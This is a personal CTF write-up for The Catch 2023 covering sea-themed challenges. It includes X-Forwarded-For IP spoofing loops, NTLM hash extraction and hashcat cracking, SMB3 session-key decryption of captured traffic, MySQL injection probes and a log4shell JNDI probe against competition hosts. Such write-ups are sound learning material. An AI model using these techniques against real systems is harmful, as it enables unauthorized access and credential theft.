Skip to content

Instantly share code, notes, and snippets.

Created November 4, 2023 12:31
Show Gist options
  • Save rendm2/112a0f817ede722d20edc39c08811b5e to your computer and use it in GitHub Desktop.
Save rendm2/112a0f817ede722d20edc39c08811b5e to your computer and use it in GitHub Desktop.

The Catch 2023 Writeup

This year we set off on an adventure with The Catch competition, sail the seas and get sea-themed challenges. If you are interested in how I solved some of them, you are at the right place.

Not bragging, but I got first blood (was the first one to solve) the Ship web server and Suspicious traffic challenges. Yay that feels good to be better than you! (just kidding; you guys are awesome and I admire those who got farther than me, especially The Legendary Top 30 players)

Joking/bragging aside, apart from competing, The Catch is all about learning about cybersecurity. I hope this (partial) writeup will be useful for those who got stuck in some of the challenges, or at least an interesting read for others. Perhaps someone in the future even bumps into this writeup when searching for a solution to a problem they are struggling with. (Hello random visitor from the future! I hope you find what you are looking for!)

Huge thanks to the organizers! I can't believe it has been already 7 years (really?) since the first The Catch. It was fun every year, and I hope to participate again next year, hopefully with more time to dedicate to the competition.

That's all I wanted to say. Happy reading!

-- rendm

P.S. Greetings to atx, CEO, had, JaGoTu and Jakluk!

Table of contents:

Solved challenges:

Unsolved challenges:

Solved challenges

Ship web server

We are given a http(s) URL of a web server with a task to see if there is more to it than just a simple webpage. The footer of the website contains a suspiciously long string ver. [some letters and numbers], disguising as an alleged version of the webapp. After decoding from base 64 (e.g. with CyberChef), we get the following:

FLAG{    -    -    -    }

This is nice, but the empty spaces are just space characters (0x20). There does not seem to be a way to convince the website to print the full flag (e.g. sending a specific request etc.).

A hint points us to look at the server's certificate. The server certificate contains the following Subject Alternative Names:

  • www.cns-jv.tcc (this is the one we were given)
  • documentation.cns-jv.tcc
  • home.cns-jv.tcc
  • pirates.cns-jv.tcc
  • structure.cns-jv.tcc

The last four are new to us. Let's explore them.

Just putting the addresses to a web browser's address bar does not work (DNS A records do not exist for those hostnames), but trying the same IP address as the www.cns-jv.tcc for other hostnames (e.g. using an override in /etc/hosts) gives us the server's response for given hostnames.

We get different websites, each of which contains a part of the flag at the same place as before (in the footer), again encoded with Base64:

  • home.cns-jv.tcc contains a list of users and their website, which we can't access, but the footer contains a version string which decodes to the flag with the first gap filled.
  • structure.cns-jv.tcc hat the page footer RkxBR3sgICAgLSAgICAtICAgIC1nTXdjfQ== which decodes to FLAG{ -plmQ- - }
  • Similarly, pirates.cns-jv.tcc's footer says RkxBR3sgICAgLSAgICAtUTUzQy0gICAgfQ which decodes to the flag with the third gap filled: FLAG{ - -Q53C- }.
  • documentation.cns-jv.tcc prints an unauthorized access message, but the footer is there. This time it can't be easily selected and copied and is not contained in the HTML source, but rather in the CSS small::before pseudoclass(?) definition, from which it can be copied. RkxBR3tlamlpLSAgICAtICAgIC0gICAgfQ decodes to FLAG{ - - -gMwc}.

All that remains is to combine them into one string: FLAG{ejii-plmQ-Q53C-gMwc}

Treasure map

We get an image of a treasure map with two large islands a path drawn in the sea around them.

Looking at the map closely, there are small, letters written along the path. Reading them gives us the flag.


Captain's coffee

We get a HTTP JSON API endpoint of a "coffee maker", our task is to prepare good coffee for the captain.

Making a request to / points us to a documentation at /docs, which says that GET /coffeeMenu lists available drinks, and POST /makeCoffee should make a selected drink by providing a selected drink_id.

From the menu of available drinks (mostly boring regular coffee types), only "Naval Espresso with rum" sounds interesting:

{"drink_name":"Naval Espresso with rum","drink_id":501176144}

Asking the coffee maker to make this coffee with a correct request

wget -q -O- --post-data '{"drink_id": 501176144}' --header "Content-Type: application/json" http://coffee-maker.cns-jv.tcc/makeCoffee

rewards us with the flag: FLAG{ccLH-dsaz-4kFA-P7GC}

Cat code

We get two Python scripts and, allegedly written by a cat (due to lack of developers on board), which should generate an access code. The goal is to understand and fix the scripts so they produce the access code.

The entry point is it checks the standard input for correctness of a hardcoded password (kittens), sums its letters' ord() values and passes the value to the meow function, whose result (770) is passed to meowmeow function and finally printed. (Both mentioned function are imported from

Running the script seems to take forever so more understanding and optimization/fixing is needed. contains a list of lists meeow:

meeow = [
[80, 81],
[-4, 13],
[55, 56],
[133, 134],
[-8, -7, -5],
[4, 5],
[5, 6],
[6, 7],
[7, 8],
[15, -1],
[11, 12],
[13, 14],
[17, 18],
[18, 19],
[15, 21],
[22, 23],
[26, 27],
[44, 45],
[48, 49],
[31, -29],
[50, 51],
[60, 61],
[72, 73],
[73, 74],
[19, 2, 20]]

... this is the only place in the provided code that seems to contain enough entropy ~ non-trivial info from which the flag could be somehow decoded. Indeed, in the meowmeow function it is used as indices into the long number that gets passed to it (from the meow function):

def meowmeow(longnumber):
    output = ''
    for sublist in meeow:
        # append one character
        output = f"{output}{
                        # lookup digits at positions hardcoded in meeow
                        str(longnumber)[m] for m in sublist  
                ) # assemble the digits into one int
            ) # convert int to character
    return output

Each sublist from meeow gets translated into one letter by looking up digits in meow's output at positions defined by the sublist, concatenating these digits and converting them to a character. These letters are concatenated to produce the output (flag).

All that remains is to understand the meow function.

After a cleanup of unnecessary print statements and some refactoring, the function meow appears to be suspiciously similar to the recursive implementation of a function to compute the n-th element of the Fibonacci sequence. While mathematically nice, this implementation is painfully slow. Even memoization with @functools.lru_cache decorator (caching function outputs for known inputs to avoid repeated calls) did not seem to speed it up enough. A faster "loop" implementation was needed:

def meow(N):
    pre_last = 0;
    last = 1;
    i = 2
    while i <= N:
        next = pre_last + last;
        pre_last = last;
        last = next;
        i = i+1
    return last

Using this implementation, the 770th Fibonacci number (37238998302736542981557591720664221323221262823569669806574084338006722578252257702859727311771517744632859284311258604707327062313057129673010063900204812137985) is computed instantly, and running the optimized code produces the flag.


Component replacement

The goal is to access a website (parts database), which seems to (dis)allow access based on the IP address the request came from. After gaining access, we should look for information about a part called fuel efficiency enhancer. We are given a URL and an IP range ( which should contain the allowed IP address(es).

One way to make a web server think the request came from a different IP address is by using the X-Forwarded-For header. (I think this header is meant to be used by (reverse)proxy servers to inform the backend web server of the request's origin. When a webserver is configured improperly, accepting the X-Forwarded-For header from anywhere, this can be used to spoof the origin of the request.) Fortunately, the web server's access denied message contains the IP address the server thinks the request originated from. This helps us confirm that an IP address provided in the X-Forwarded-For header is indeed being treated as the source IP.

Now we just need to test which address(es) from the provided range is/are the allowed one(s) and use such valid IP to make the request. After computing the from-to IP range from the /20 range (using an online IP subnet calculator to avoid manual errors, and also because of laziness), we can automate the testing of 4096 addresses with a bash one-liner:

for j in {96..111}; do for i in {0..255}; do curl 'http://key-parts-list.cns-jv.tcc/' -H 'X-Forwarded-For: 192.168.'$j'.'$i; echo; done; done

Notes: If the IP range was larger, this would deserve a more efficient solution, but even this does the job. More output filtering could be done to make the output more readable, like not printing the access denied messages, or even detecting when the response is NOT the access denied message and stopping the scan... Also, perhaps it would be smarter to iterate first over the third octet of the IP and then over the fourth octet - to cover more ground sooner, assuming a larger range of consecutive IPs is allowed.

Anyways, eventually we get a response which does NOT contain the access denied message. This is the one:

curl 'http://key-parts-list.cns-jv.tcc/' -H 'X-Forwarded-For:'

The response contains part names and part numbers like PART{xxxx-xxxx-xxxx-xxxx}, but next to the part named Fuel efficiency enhancer we see the wanted flag: FLAG{MN9o-V8Py-mSZV-JkRz}

Suspicious traffic

We are given a packet capture to analyze and confirm if a file secret.db was exfiltrated, and get its content.

At the first glance the pcap contains some DNS and HTTP traffic, some SMB traffic (james's transfer of SQLite databases employees.db and history.db - neither seems directly useful), and some "raw TCP data":

Acually some of the "raw TCP data" are two(?) FTP transfers: user james with PASS james.f0r.FTP.3618995 is transferring some files:

  • " eq 6" is home.tgz:
    • it is a dump of a user's home directory: .bash_history contains a mention of secret.db ecryption including the password:
openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.db -out secret.db.enc -k R3alyStr0ngP4ss!

... that looks useful, but where is the actual (encrypted) file?

  • " eq 7" is etc.tgz, which does not seem to contain any relevant information, just a dump of /etc.

There is another SMB transfer: user LCOAL.TCC\james_admin transfers something of size ~10kB, but the transfer is encrypted this time, and using SMB3. We need to decrypt it; perhaps the password is similar (same format) to the one for FTP? We can isolate this connection ("ip.addr== && ip.addr==") into a separate file e.g. suspicious_traffic_only_smb6-7.pcap for simplicity. (I did that only later for the decryption, which I regret - I could have skipped cracking the non-admin passowrd and accidentally using it in the session key generation script, which made me wonder for a while why the key does not work...)

Using NTLMRawUnHide to extract crackable NTLM hashes from the captured traffic and hashcat to do the cracking, we can test this theory:

./ -i suspicious_traffic.pcap -o suspicious_traffic.pcap.hashes
hashcat -a 3 suspicious_traffic.pcap.hashes james.f0r.SMB.?d?d?d?d?d?d?d
# this finishes under 1 minute on a 2019-ish laptop's CPU and finds the password "james.f0r.SMB.4663158"
# similarly with "james_admin.f0r.SMB.?d?d?d?d?d?d?d", which is the password we actually want to crack: "james_admin.f0r.SMB.8089078"

Since SMB3 is not trivial to decrypt, we can follow this post for a HOWTO. We can run this script, providing it with the password and other required information that can be found in the captured traffic to compute the session key needed for decryption:

python3 ./ \
--user james_admin \
--domain local.tcc \
--password 'james_admin.f0r.SMB.8089078' \
--ntproofstr 8bc34ae8e76fe9b8417a966c2f632eb4 \
--key        4292dac3c7a0510f8b26c969e1ef0db9 \

Then we get the following output:

PASS HASH: 7cf87b641c657bf9e3f75d93308e6db3
RESP NT:   a154f31a5ecc711694c3e0d064bac78e
NT PROOF:  8bc34ae8e76fe9b8417a966c2f632eb4
KeyExKey:  6a1d3b41cdf3d40f15a6c15b80d567d0
Random SK: 7a93dee25de4c2141657e7037dddb8f1

Now we can decrypt the transfer with tshark

tshark '-ouat:smb2_seskey_list:49b136b900000000,7a93dee25de4c2141657e7037dddb8f1,"",""' -r suspicious_traffic_only_smb6-7.pcap

or put the key to Wireshark config, open the capture and export the file transferred file secret.db.enc.

Now we have an encrypted file and its key. Let's decrypt it with

openssl enc -aes-256-cbc -d -salt -pbkdf2 -in %5csecret.db.enc -out secret.db -k R3alyStr0ngP4ss!

Note: the LibreSSL version in macOS (and/or in Homebrew?) does not seem to include support for -pbkdf2. Using openssl in Debian worked for me.

The resulting secret.db is a SQLite database with a single table and a single row with the flag.


Keyword of the day

Our goal here is to find a specific web application among other dummy web apps running on the server. Unfortunately we don't know which app is running on which port.

We resort to a thorough scan of all TCP ports:

nmap -v -p1-65535 keyword-of-the-day.cns-jv.tcc

There are 234 (or 235?) open ports. We can copy nmap's output (list of open ports) to a text file and filter out just the port numbers with for future use in batch processing:

sed -ibak 's,/.*,,' ports.txt"  # delete everything after the "/"

Manually looking at some webapps, they appear identical. One of the dummy websites (the one running on port 60020) was analyzed: an obfuscated script waits between 1 and 7 seconds and then randomly shows one of 3 or 4 emoji images. The response on other ports is sometimes identical to other dummy webapps, but there are multiple versions of the dummy website (e.g. differently obfuscated script doing the same thing).

To avoid manually looking through all of the webapps, we need to automate. Since we know there should be only one real "keyword of the day" webapp, and dummy webapps tend to be non-unique, we can downloaded the responses of the server for each of these open ports, deduplicate the responses, and look at the unique result(s).

Let's download all the webapps' responses (in a clean directory):

for port in $(cat ../ports.txt); do curl http://keyword-of-the-day.cns-jv.tcc:$port > $port.txt; done

Deduplicate/find which responses are unique:

md5sum * | cut -d' ' -f1| sort | uniq -c | sort -n
   1 5ed6f38b627a5069f96a9dd93348e424
   1 ba78fb78b670b1b1a4c15e525bc3000b
  10 0cdb1a721cb7d2493dcb11442c501300
  10 1bc21260f4335653ec66931ac9d5a3e7
  10 1d489f881a7a44c0c7e5eda97510a77c

Then find the ports which gave us the unique responses: search the hash in md5sum *'s output.

The webapp on port 60257, rather than showing an emoji image, shows an image with text, pointing to the relative URL, which gives us the flag.

Web protocols

We are given a server hostname to find all webs on, and assemble the flag from the collected information.

First we scan for running webservers:

nmap -v -p1-65535 web-protocols.cns-jv.tcc

I tried various web-related protocols like WebSockets, but all servers ended up being just HTTP servers of different protocol versions.

The following ports were detected by nmap, let's look at them (some can be opened directly in a web browser, others need a manually crafted request, or perhaps with a suitable tool). The response is usually a base64-encoded image with cats, sometimes identical to others. The flag is hidden in the SESSION cookie (also base64-encoded). Some notes follow.

  • 5009/tcp
nc web-protocols.cns-jv.tcc 5009
GET / HTTP/0.9

HTTP/0.9 200 OK

base64-decoded session: FLAG{krLt

  • 5011/tcp http "/" responds with a base64-encoded PNG image with cats

header Set-Cookie: SESSION=LXJ2YnEtYWJJ; Path=/

decoded value: -rvbq-abI

  • 5020/tcp http different image with cats

header Set-Cookie: SESSION=Ui00MzNBfQ==; Path=/

decoded value: R-433A}

  • 8011/tcp http, identical image to 5011


decoded: -rvbq-abI

  • 8020/tcp https nginx, identical image to 5020

SESSION=Ui00MzNBfQ==; Path=/

decoded: R-433A}

The assembled flag is: FLAG{krLt-rvbq-abIR-433A}

Unsolved challenges

Notes for unsolved challenges follow, in case anyone is interested in these. I am looking forward to reading others' writeups to see what the correct solution is.

UNSOLVED - navigation plan

mysql injection: http://navigation-plan.cns-jv.tcc/image.png?type=column&t=table&id=1

can inject into "SELECT {} FROM {} [something unknown, probably including WHERE id={}]"

can use "--" to skip the rest of the query

but the output is somehow encoded


what format?
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=10000000000--&t=information_schema.tables--&id=1'|hexdump -C
00000000  d7 4d 34 d3 4d 34 d3 4d                           |?M4?M4?M|
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=1111111111111111--&t=information_schema.tables--&id=1'|hexdump -C
00000000  d7 5d 75 d7 5d 75 d7 5d  75 d7 5d 75              |?]u?]u?]u?]u|
a16:2023 a$ curl -s 'http://navigation-plan.cns-jv.tcc/image.png?type=2222222222222221--&t=information_schema.tables--&id=1'|hexdump -C
00000000  db 6d b6 db 6d b6 db 6d  b6 db 6d b5              |?m??m??m??m?|
or use blind injection?

UNSOLVED - Naval chef's recipe

suspicious image grumpy_cat.png


  • steghide?
  • further explore the palette?
  • or try other filenames with dirbuster or similar (hint "security by obscurity" would fit that)

UNSOLVED - Arkanoid

port-scanned ("nmap -v arkanoid.cns-jv.tcc") to find the server port

http://arkanoid.cns-jv.tcc:8000 contains a simple arkanoid/breakout game based on, the code contains nothing suspicious, only sends the score to the server when the player wins: apart from formatting, only the following is added:

fetch("/score?data=" + score).then(response => response.json()).then(data => {



}).catch(error => {

console.error('Error:', error);


curl 'http://arkanoid.cns-jv.tcc:8000/score?data=15'

{"message": "Nice score !"}

Even am empty "data", or a string (even a ~6kb long one) produces the same result

Possibly old Java, tried basic log4shell with an online tool and locally with "data=${jndi:ldap://}" - no request came


    <h1>400 Bad Request</h1>URISyntaxException thrown

seems like a Java webserver (confirmed: header "X-Server: Java/1.8.0_144")
maybe triggered by an unhandled route
same with /score?data="

curl -v 'http://arkanoid.cns-jv.tcc:8000/score?data=asdf'
*   Trying
* Connected to arkanoid.cns-jv.tcc ( port 8000 (#0)
> GET /score?data=asdf HTTP/1.1
> Host: arkanoid.cns-jv.tcc:8000
> User-Agent: curl/8.1.2
> Accept: */*
< HTTP/1.1 200 OK
< Date: Wed, 04 Oct 2023 23:02:00 GMT
< Content-type: application/json; charset=UTF-8
< X-server: Java/1.8.0_144
< Content-length: 27
* Connection #0 to host arkanoid.cns-jv.tcc left intact
{"message": "Nice score !"}

maybe the server is vulnerable in another way? or I just tested improperly
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment